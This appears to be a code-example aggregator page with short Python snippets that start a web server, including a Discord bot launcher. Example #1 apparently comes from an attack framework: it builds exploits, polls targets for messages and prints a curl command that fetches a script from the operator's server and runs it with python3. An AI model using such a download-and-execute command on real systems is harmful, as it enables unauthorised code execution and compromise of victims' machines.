Example #1
0
def main():
    config.logger = logging.getLogger()
    exploits_src.build()
    web_server.main()

    print(
        '______\n| ___ \\\n| |_/ /__ ___   ____ _  __ _  ___\n|    // _` \\ \\ / / _` |/ _` |/ _ \\\n| |\\ \\ (_| |\\ V / (_| | (_| |  __/\n\\_| \\_\\__,_| \\_/ \\__,_|\\__, |\\___|\n                        __/ |\n                       |___/\n'
    )
    print(
        f'curl {config.soundwave_ip}:{web_server.WEB_SERVER_PORT}/wheelie > tmp.py; python3 tmp.py'
    )
    print('-' * 60)
    print('\n\n')

    while True:
        # message = config.messages_received.get()
        # config.logger.info(f'Message {message}')
        while True:
            sleep(1)
            for target in config.targets:
                message = target.get_received_message(False)
                if message is not None:
                    print(message)
Example #2
0
File: test2.py Project: guanw/GP
 def OnInitialServer(self,event):
     web_server.main()
 def run(self):
     web_server.main(2080, self.manangerThread)
Example #4
0
"""Main entry point for running both server and bot."""

import web_server
import discord_bot

from constants import RUN_LOCAL

flask_options = {}

if not RUN_LOCAL:
    flask_options = {'host': '0.0.0.0'}

discord_bot.main()
web_server.main(**flask_options)